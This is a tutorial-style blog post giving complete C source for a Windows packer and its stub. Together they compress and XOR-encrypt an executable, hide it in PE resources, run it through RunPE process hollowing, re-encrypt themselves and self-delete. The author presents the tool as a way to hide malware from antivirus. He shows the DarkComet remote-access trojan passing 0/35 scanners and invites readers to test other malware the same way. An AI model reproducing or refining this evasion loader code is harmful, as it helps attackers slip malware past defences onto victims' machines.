Greetings, all. The following paper will be documenting an example of executable compression, AKA packers which I have developed over the past couple of days. Like crypters, I feel as though they are some form of hidden dark art of the underground communities. Though there are many publicly available packers out there (UPX, Themida, etc.), I have not seen many papers or articles on how to create them but I have happened to come across Gunther’s How to Write a Simple Executable Packer in C which has enabled me to pursue further research on this enigmatic topic. After reading this, I hope all of you will gain an understanding of at least how these tools function.
Disclaimer: The following material may not be beginner-friendly as it requires a fair amount of knowledge of Windows programming.
Proficiency in C/C++
Knowledge of the WinAPI and its documentation
Knowledge of basic cryptography
Knowledge of file compression
Knowledge of the PE file structure
An Introduction to Packers
Packers are a tool which are used for their spacial advantages and deterring reverse engineering attempts such as disassembly by obfuscating the data through compression. Because of the resulting data obfuscation characteristic, it allows malware developers to hide malicious code within executables to evade antivirus detection. This behavior is similar to that of crypters which use encryption for data obfuscation. Packers can also utilize the encryption method of crypters to provide a double layer of obfuscation where compression is the next step. Let’s get a visual representation of a packed executable in action.
The packer is responsible for compressing (and encrypting) the payload.
+---------+ +--------+ +------+--------------------------------+
| Payload | -> | Packer | => | Stub | Compressed + encrypted payload |
+---------+ +--------+ +------+--------------------------------+
The stub is the part of the executable which extracts (decrypts and decompresses) the payload for execution.
+------+--------------------------------+ +------------------+
| Stub | Compressed + encrypted payload | == execution => | Original payload |
+------+--------------------------------+ +------------------+
Coding the Packer
The packer is required to compress and encrypt the payload, then add it to the stub. The following provides a possible packer design.
Packer Pseudocode
1. Read the payload file into a buffer
2. Update struct with a pointer to the buffer and its size
3. Compress the payload buffer
4. Encrypt the buffer
5. Create the stub output file
6. Update the stub by adding the payload buffer
Here is the code for this design.
#include <stdio.h>
#include <stdarg.h>
#include <windows.h>
#include <wincrypt.h>
#include <zlib.h>
#include "resource.h"
#define WIN32_LEAN_AND_MEAN
#define DEBUG
#define DEBUG_TITLE "STUB - DEBUG MESSAGE"
#define BUFFER_RSRC_ID 10
#define FILE_SIZE_RSRC_ID 20
#define KEY_RSRC_ID 30
#define KEY_LEN 64
typedef struct _FileStruct {
PBYTE pBuffer;
DWORD dwBufSize;
DWORD dwFileSize;
PBYTE pKey;
} FileStruct, *pFileStruct;
VOID Debug(LPCSTR fmt, ...) {
#ifdef DEBUG
va_list args;
va_start(args, fmt);
vprintf(fmt, args);
va_end(args);
#endif
}
FileStruct *LoadFile(LPCSTR szFileName) {
Debug("Loading %s...\n", szFileName);
Debug("Initializing struct...\n");
FileStruct *fs = (FileStruct *)malloc(sizeof(*fs));
if (fs == NULL) {
Debug("Create %s file structure error: %lu\n", szFileName, GetLastError());
return NULL;
}
Debug("Initializing file...\n");
// get file handle to file
HANDLE hFile = CreateFile(szFileName, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
Debug("Create file error: %lu\n", GetLastError());
free(fs);
return NULL;
}
// get file size
Debug("Retrieving file size...\n");
fs->dwFileSize = GetFileSize(hFile, NULL);
if (fs->dwFileSize == INVALID_FILE_SIZE) {
Debug("Get file size error: %lu\n", GetLastError());
CloseHandle(hFile);
free(fs);
return NULL;
}
fs->dwBufSize = fs->dwFileSize;
// create heap buffer to hold file contents
fs->pBuffer = (PBYTE)malloc(fs->dwFileSize);
if (fs->pBuffer == NULL) {
Debug("Create buffer error: %lu\n", GetLastError());
CloseHandle(hFile);
free(fs);
return NULL;
}
// read file contents
Debug("Reading file contents...\n");
DWORD dwRead = 0;
if (ReadFile(hFile, fs->pBuffer, fs->dwFileSize, &dwRead, NULL) == FALSE) {
Debug("Read file error: %lu\n", GetLastError());
CloseHandle(hFile);
free(fs);
return NULL;
}
Debug("Read 0x%08x bytes\n\n", dwRead);
// clean up
CloseHandle(hFile);
return fs;
}
BOOL UpdateStub(LPCSTR szFileName, FileStruct *fs) {
// start updating stub's resources
HANDLE hUpdate = BeginUpdateResource(szFileName, FALSE);
// add file as a resource to stub
if (UpdateResource(hUpdate, RT_RCDATA, MAKEINTRESOURCE(BUFFER_RSRC_ID), MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), fs->pBuffer, fs->dwBufSize) == FALSE) {
Debug("Update resource error: %lu\n", GetLastError());
return FALSE;
}
// add file size as a resource to stub
if (UpdateResource(hUpdate, RT_RCDATA, MAKEINTRESOURCE(FILE_SIZE_RSRC_ID), MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), (PVOID)&fs->dwFileSize, sizeof(DWORD)) == FALSE) {
Debug("Update resource error: %lu\n", GetLastError());
return FALSE;
}
// add decryption key as a resource
if (UpdateResource(hUpdate, RT_RCDATA, MAKEINTRESOURCE(KEY_RSRC_ID), MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), fs->pKey, KEY_LEN) == FALSE) {
Debug("Update resource error: %lu\n", GetLastError());
return FALSE;
}
EndUpdateResource(hUpdate, FALSE);
return TRUE;
}
BOOL BuildStub(LPCSTR szFileName, FileStruct *fs) {
Debug("Building stub: %s...\n", szFileName);
// get stub program as a resource
HRSRC hRsrc = FindResource(NULL, MAKEINTRESOURCE(1), "STUB");
if (hRsrc == NULL) {
Debug("Find stub resource error: %lu\n", GetLastError());
return FALSE;
}
DWORD dwSize = SizeofResource(NULL, hRsrc);
HGLOBAL hGlobal = LoadResource(NULL, hRsrc);
if (hGlobal == NULL) {
Debug("Load stub resource error: %lu\n", GetLastError());
return FALSE;
}
// get stub's file content
PBYTE pBuffer = (PBYTE)LockResource(hGlobal);
if (pBuffer == NULL) {
Debug("Lock stub resource error: %lu\n", GetLastError());
return FALSE;
}
// create output file
Debug("Creating stub...\n");
HANDLE hFile = CreateFile(szFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
Debug("Create stub error: %lu\n", GetLastError());
free(pBuffer);
return FALSE;
}
// write stub content to output file
Debug("Writing payload to stub...\n");
DWORD dwWritten = 0;
if (WriteFile(hFile, pBuffer, dwSize, &dwWritten, NULL) == FALSE) {
Debug("Write payload to stub error: %lu\n", GetLastError());
CloseHandle(hFile);
free(pBuffer);
return FALSE;
}
Debug("Wrote 0x%08x bytes\n\n");
CloseHandle(hFile);
// add payload to stub
Debug("Updating stub with payload...\n");
if (UpdateStub(szFileName, fs) == FALSE)
return FALSE;
return TRUE;
}
BOOL GenerateKey(FileStruct *fs) {
fs->pKey = (PBYTE)malloc(KEY_LEN);
if (fs->pKey == NULL) return FALSE;
// initialize crypto service provider
HCRYPTPROV hProv = NULL;
if (CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_FULL, 0) == FALSE) {
Debug("Crypt aquire context error: %lu\n", GetLastError());
free(fs->pKey);
return FALSE;
}
// generate secure bytes
Debug("Generating cryptographically secure bytes...\n");
if (CryptGenRandom(hProv, KEY_LEN, fs->pKey) == FALSE) {
Debug("Generate random key error: %lu\n", GetLastError());
free(fs->pKey);
return FALSE;
}
Debug("Using key: ");
for (int i = 0; i < KEY_LEN; i++)
Debug("0x%02x ", fs->pKey[i]);
Debug("\n");
// clean up
CryptReleaseContext(hProv, 0);
return TRUE;
}
// XOR
BOOL EncryptPayload(FileStruct *fs) {
Debug("EncryptPayloading payload...\n");
Debug("Generating key...\n");
if (GenerateKey(fs) == FALSE) return FALSE;
for (DWORD i = 0; i < fs->dwBufSize; i++)
fs->pBuffer[i] ^= fs->pKey[i % KEY_LEN];
Debug("EncryptPayloadion routine complete\n");
return TRUE;
}
BOOL CompressPayload(FileStruct *fs) {
Debug("Compressing payload...\n");
PBYTE pCompressedBuffer = (PBYTE)malloc(fs->dwBufSize);
ULONG ulCompressedBufSize = compressBound((ULONG)fs->dwBufSize);
compress(pCompressedBuffer, &ulCompressedBufSize, fs->pBuffer, fs->dwBufSize);
fs->pBuffer = pCompressedBuffer;
fs->dwBufSize = ulCompressedBufSize;
Debug("Compression routine complete\n");
return TRUE;
}
int main(int argc, char *argv[]) {
printf("Copyright (C) 2016 93aef0ce4dd141ece6f5\n\n");
if (argc < 3) {
Debug("Usage: %s [INPUT FILE] [OUTPUT FILE]\n", argv[0]);
return 1;
}
FileStruct *fs = LoadFile(argv[1]);
if (fs == NULL) return 1;
Debug("Applying obfuscation...\n");
if (CompressPayload(fs) == FALSE) {
free(fs);
return 1;
}
if (EncryptPayload(fs) == FALSE) {
free(fs);
return 1;
}
Debug("\n");
if (BuildStub(argv[2], fs) == FALSE) {
free(fs->pKey);
free(fs);
return 1;
}
// clean up
free(fs->pKey);
free(fs);
Debug("\nDone\n");
return 0;
}
The CompressPayload
function uses the zLib third party compression library to perform the compression routine on the payload buffer.
The EncryptPayload
function uses the XOR cipher method purely as an example. Use of other ciphers in place of the XOR such as RC4 or AES is entirely possible. There is a function within this function, GenerateKey
which uses the WinAPI’s Cryptography library to uniquely (for each execution of the program) generate a 32-bit length key using a CSPRNG.
The BuildStub
function creates and adds resources to the stub. These resources are the information stored inside the file struct _FileStruct
as it is required in the routines within the stub itself. These resources will be visually shown after the stub code is covered.
Coding the Stub
The stub is responsible for the extraction and execution of the payload. Note that it must be the reverse operation of the packer. The following shows a possible design.
Stub Pseudocode
1. Extract the resources
2. Decrypt the payload buffer
3. Decompress the buffer
4. Drop the payload
5. Execute the payload
The code for this design is as follows.
#include <stdio.h>
#include <string.h>
#include <stdarg.h>
#include <windows.h>
#include <wincrypt.h>
#include <zlib.h>
#define WIN32_LEAN_AND_MEAN
#define DEBUG
#define DEBUG_TITLE "STUB - DEBUG MESSAGE"
#define BUFFER_RSRC_ID 10
#define FILE_SIZE_RSRC_ID 20
#define KEY_RSRC_ID 30
#define KEY_LEN 64
typedef VOID(*PZUVOS)(HANDLE, PVOID);
typedef struct _FileStruct {
PBYTE pBuffer;
DWORD dwBufSize;
DWORD dwFileSize;
PBYTE pKey;
} FileStruct, *pFileStruct;
VOID Debug(LPCSTR fmt, ...) {
#ifdef DEBUG
CHAR szDebugBuf[BUFSIZ];
va_list args;
va_start(args, fmt);
vsprintf(szDebugBuf, fmt, args);
MessageBox(NULL, szDebugBuf, DEBUG_TITLE, MB_OK);
va_end(args);
#endif
}
FileStruct *ExtractPayload(VOID) {
FileStruct *fs = (FileStruct *)malloc(sizeof(*fs));
if (fs == NULL) return NULL;
// get file buffer
// get size of resource
HRSRC hRsrc = FindResource(NULL, MAKEINTRESOURCE(BUFFER_RSRC_ID), RT_RCDATA);
if (hRsrc == NULL) {
Debug("Find buffer resource error: %lu\n", GetLastError());
free(fs);
return NULL;
}
fs->dwBufSize = SizeofResource(NULL, hRsrc);
// get pointer to resource buffer
HGLOBAL hGlobal = LoadResource(NULL, hRsrc);
if (hGlobal == NULL) {
Debug("Load buffer resource error: %lu\n", GetLastError());
free(fs);
return NULL;
}
fs->pBuffer = (PBYTE)LockResource(hGlobal);
if (fs->pBuffer == NULL) {
Debug("Lock buffer resource error: %lu\n", GetLastError());
free(fs);
return NULL;
}
// get actual file size resource
hRsrc = FindResource(NULL, MAKEINTRESOURCE(FILE_SIZE_RSRC_ID), RT_RCDATA);
if (hRsrc == NULL) {
Debug("Find file size error: %lu\n", GetLastError());
free(fs);
return NULL;
}
// get file size value
hGlobal = LoadResource(NULL, hRsrc);
if (hGlobal == NULL) {
Debug("Load buffer resource error: %lu\n", GetLastError());
free(fs);
return NULL;
}
fs->dwFileSize = *(LPDWORD)LockResource(hGlobal);
// get decryption key
hRsrc = FindResource(NULL, MAKEINTRESOURCE(KEY_RSRC_ID), RT_RCDATA);
if (hRsrc == NULL) {
Debug("Find key resource error: %lu\n", GetLastError());
free(fs);
return NULL;
}
// get pointer to key buffer
hGlobal = LoadResource(NULL, hRsrc);
if (hGlobal == NULL) {
Debug("Load key resource error: %lu\n", GetLastError());
free(fs);
return NULL;
}
fs->pKey = (PBYTE)LockResource(hGlobal);
if (fs->pKey == NULL) {
Debug("Lock buffer resource error: %lu\n", GetLastError());
free(fs);
return NULL;
}
return fs;
}
BOOL UpdateResources(FileStruct *fs, LPCSTR szFileName) {
HANDLE hUpdate = BeginUpdateResource(szFileName, FALSE);
// add file as a resource to stub
if (UpdateResource(hUpdate, RT_RCDATA, MAKEINTRESOURCE(BUFFER_RSRC_ID), MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), fs->pBuffer, fs->dwBufSize) == FALSE) {
Debug("Update resource error: %lu\n", GetLastError());
return FALSE;
}
// add decryption key as a resource
if (UpdateResource(hUpdate, RT_RCDATA, MAKEINTRESOURCE(KEY_RSRC_ID), MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), fs->pKey, KEY_LEN) == FALSE) {
Debug("Update resource error: %lu\n", GetLastError());
return FALSE;
}
if (EndUpdateResource(hUpdate, FALSE) == FALSE) {
Debug("End update resource error: %lu\n", GetLastError());
}
return TRUE;
}
BOOL GenerateKey(FileStruct *fs) {
fs->pKey = (PBYTE)malloc(KEY_LEN);
if (fs->pKey == NULL) return FALSE;
// initialize crypto service provider
HCRYPTPROV hProv = NULL;
if (CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_FULL, 0) == FALSE) {
Debug("Crypt aquire context error: %lu\n", GetLastError());
free(fs->pKey);
return FALSE;
}
// generate secure bytes
//Debug("Generating cryptographically secure bytes...\n");
if (CryptGenRandom(hProv, KEY_LEN, fs->pKey) == FALSE) {
Debug("Generate random key error: %lu\n", GetLastError());
free(fs->pKey);
return FALSE;
}
/*
Debug("Using key: ");
for (int i = 0; i < KEY_LEN; i++)
Debug("0x%02x ", fs->pKey[i]);
Debug("\n");
*/
// clean up
CryptReleaseContext(hProv, 0);
return TRUE;
}
// XOR
BOOL DecryptPayload(FileStruct *fs) {
PBYTE pDecryptPayloadedBuffer = (PBYTE)malloc(fs->dwBufSize);
if (pDecryptPayloadedBuffer == NULL) return FALSE;
for (DWORD i = 0; i < fs->dwBufSize; i++)
pDecryptPayloadedBuffer[i] = fs->pBuffer[i] ^ fs->pKey[i % KEY_LEN];
fs->pBuffer = pDecryptPayloadedBuffer;
return TRUE;
}
// XOR
BOOL Encrypt(FileStruct *fs) {
return DecryptPayload(fs);
}
BOOL DecompressPayload(FileStruct *fs) {
PBYTE pDecompressedBuffer = (PBYTE)malloc(fs->dwFileSize);
ULONG ulDecompressedBufSize;
uncompress(pDecompressedBuffer, &ulDecompressedBufSize, fs->pBuffer, fs->dwFileSize);
fs->pBuffer = pDecompressedBuffer;
fs->dwBufSize = ulDecompressedBufSize;
return TRUE;
}
VOID DropAndExecutePayload(FileStruct *fs, LPCSTR szFileName) {
DWORD dwWritten;
HANDLE hFile = CreateFile(szFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
WriteFile(hFile, fs->pBuffer, fs->dwFileSize, &dwWritten, NULL);
CloseHandle(hFile);
ShellExecute(NULL, NULL, szFileName, NULL, NULL, SW_NORMAL);
}
BOOL MemoryExecutePayload(FileStruct *fs) {
// PE headers
PIMAGE_DOS_HEADER pidh;
PIMAGE_NT_HEADERS pinh;
PIMAGE_SECTION_HEADER pish;
// process info
STARTUPINFO si;
PROCESS_INFORMATION pi;
// pointer to virtually allocated memory
LPVOID lpAddress = NULL;
// context of suspended thread for setting address of entry point
CONTEXT context;
// need function pointer for ZwUnmapViewOfSection from ntdll.dll
PZUVOS pZwUnmapViewOfSection = NULL;
// get file name
CHAR szFileName[MAX_PATH];
GetModuleFileName(NULL, szFileName, MAX_PATH);
// first extract header info
// check if valid DOS header
pidh = (PIMAGE_DOS_HEADER)fs->pBuffer;
if (pidh->e_magic != IMAGE_DOS_SIGNATURE) {
Debug("DOS signature error");
return FALSE;
}
// check if valid pe file
pinh = (PIMAGE_NT_HEADERS)((DWORD)fs->pBuffer + pidh->e_lfanew);
if (pinh->Signature != IMAGE_NT_SIGNATURE) {
Debug("PE signature error");
return FALSE;
}
// first create process as suspended
memset(&si, 0, sizeof(si));
memset(&pi, 0, sizeof(pi));
si.cb = sizeof(si);
if (CreateProcess(szFileName, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi) == FALSE) {
Debug("Create process error %lu\n", GetLastError());
return FALSE;
}
context.ContextFlags = CONTEXT_FULL;
if (GetThreadContext(pi.hThread, &context) == FALSE) {
Debug("Get thread context");
}
// unmap memory space for our process
pZwUnmapViewOfSection = (PZUVOS)GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwUnmapViewOfSection");
pZwUnmapViewOfSection(pi.hProcess, (PVOID)pinh->OptionalHeader.ImageBase);
// allocate virtual space for process
lpAddress = VirtualAllocEx(pi.hProcess, (PVOID)pinh->OptionalHeader.ImageBase, pinh->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (lpAddress == NULL) {
Debug("Virtual alloc error: %lu\n", GetLastError());
return FALSE;
}
// write headers into memory
if (WriteProcessMemory(pi.hProcess, (PVOID)pinh->OptionalHeader.ImageBase, fs->pBuffer, pinh->OptionalHeader.SizeOfHeaders, NULL) == FALSE) {
Debug ("Write headers error: %lu\n", GetLastError());
return FALSE;
}
// write each section into memory
for (int i = 0; i < pinh->FileHeader.NumberOfSections; i++) {
// calculate section header of each section
pish = (PIMAGE_SECTION_HEADER)((DWORD)fs->pBuffer + pidh->e_lfanew + sizeof (IMAGE_NT_HEADERS) + sizeof (IMAGE_SECTION_HEADER) * i);
// write section data into memory
WriteProcessMemory(pi.hProcess, (PVOID)(pinh->OptionalHeader.ImageBase + pish->VirtualAddress), (LPVOID)((DWORD)fs->pBuffer + pish->PointerToRawData), pish->SizeOfRawData, NULL);
}
// set starting address at virtual address: address of entry point
context.Eax = pinh->OptionalHeader.ImageBase + pinh->OptionalHeader.AddressOfEntryPoint;
if (SetThreadContext(pi.hThread, &context) == FALSE) {
Debug("Set thread context error: %lu\n", GetLastError());
return FALSE;
}
// resume our suspended processes
if (ResumeThread(pi.hThread) == -1) {
Debug("Resume thread error: %lu\n", GetLastError());
return FALSE;
}
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return TRUE;
}
/*
VOID RunFromMemory(FileStruct *fs) {
Debug("%p", fs->pBuffer);
HMEMORYMODULE hModule = MemoryLoadLibrary(fs->pBuffer, fs->dwFileSize);
if (hModule == NULL) {
Debug("Memory load library error: %lu\n", GetLastError());
return;
}
int nSuccess = MemoryCallEntryPoint(hModule);
if (nSuccess < 0) {
Debug("Memory call entry point error: %d\n", nSuccess);
}
MemoryFreeLibrary(hModule);
}
*/
VOID SelfDelete(LPCSTR szFileName) {
PROCESS_INFORMATION pi = { 0 };
STARTUPINFO si = { 0 };
si.cb = sizeof(si);
//CreateFile("old.exe", 0, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_FLAG_DELETE_ON_CLOSE, NULL);
CHAR szCmdLine[MAX_PATH];
sprintf(szCmdLine, "%s delete", szFileName);
if (CreateProcess(NULL, szCmdLine, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi) == FALSE) {
Debug("Create process error: %lu\n", GetLastError());
}
}
BOOL PolymorphPayload(LPCSTR szFileName) {
MoveFile(szFileName, "old.exe");
CopyFile("old.exe", szFileName, FALSE);
// re-extract resources
FileStruct *fs = ExtractPayload();
if (fs == NULL) return FALSE;
// decrypt buffer
if (DecryptPayload(fs) == FALSE) {
Debug("DecryptPayload buffer error: %lu\n", GetLastError());
free(fs);
return FALSE;
}
// generate new key
if (GenerateKey(fs) == FALSE) {
Debug("Generate key error: %lu\n", GetLastError());
free(fs);
return FALSE;
}
// encrypt with new key
if (Encrypt(fs) == FALSE) {
Debug("Encrypt buffer error: %lu\n", GetLastError());
free(fs->pKey);
return FALSE;
}
// update resources
if (UpdateResources(fs, szFileName) == FALSE) {
free(fs->pKey);
free(fs);
return FALSE;
}
SelfDelete(szFileName);
free(fs->pKey);
free(fs);
return TRUE;
}
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {
if (strstr(GetCommandLine(), "delete") != NULL) {
while (DeleteFile("old.exe") == FALSE);
} else {
FileStruct *fs = ExtractPayload();
if (fs == NULL) {
Debug("Extract file error: %lu\n", GetLastError());
return 1;
}
if (DecryptPayload(fs) == TRUE) {
if (DecompressPayload(fs) == TRUE)
//DropAndExecutePayload(fs, "test.exe");
MemoryExecutePayload(fs);
}
free(fs->pBuffer);
free(fs);
CHAR szFileName[MAX_PATH];
GetModuleFileName(NULL, szFileName, MAX_PATH);
PolymorphPayload(szFileName);
}
return 0;
}
The stub simply performs the reversal of the packer. After extracting the necessary information from the resources into the struct, it first deobfuscates the payload by decrypting and then decompressing the buffer with DecryptPayload
and DecompressPayload
. After a successful deobfuscation, the stub will simply drop the executable in the same directory and execute it. Of course, using the RunPE/Dynamic Forking method would eliminate any disk activity and the resulting forensics.
Resources and the PE File Format
Here is a quick file analysis showing the resources within a file.
The arrow shows the section for resources (.rsrc) and within the section is simply the resource which has been added to the binary. The labels in the red box on the left represent the different resources which exist in the PE file. Currently, PEView shows the RCDATA
(raw data) for resource ID 000A
which, as seen from the code above, is the obfuscated payload.
Here is the 32-byte key for the XOR cipher.
Demonstration
Here is a quick demonstration using putty.exe as the payload.
Firstly, launching the packer to create the stub and to add an obfuscated payload.
Off-screen, the size of putty.exe is ~512 KB while the stub is ~318 KB. Now, we can launch the generated stub.
As we can see, it dropped the deobfuscated payload test.exe
and then executed it.
Update August 1, 2016
Added feature to execute packed payload directly from memory.
I’ve just added the RunPE method to my packer and it works perfectly (when compiled with MinGW). Here are some (non-distributing) virus scans with Dark Comet.
Majyx (0/35)
NoDistribute (0/35)
Please feel free to test other known malware with these two (or any other NON distributing virus scanning websites).
Added feature to polymorph packed payload
Basically just re-encrypts the compressed payload with a new key.
Conclusion
The only difficult aspect in this is understanding the resource management but other than that, it’s a pretty simple concept. I’ve added the necessary files to my GitHub including a compiled 32-bit binary.
Thank you for reading.
– dtm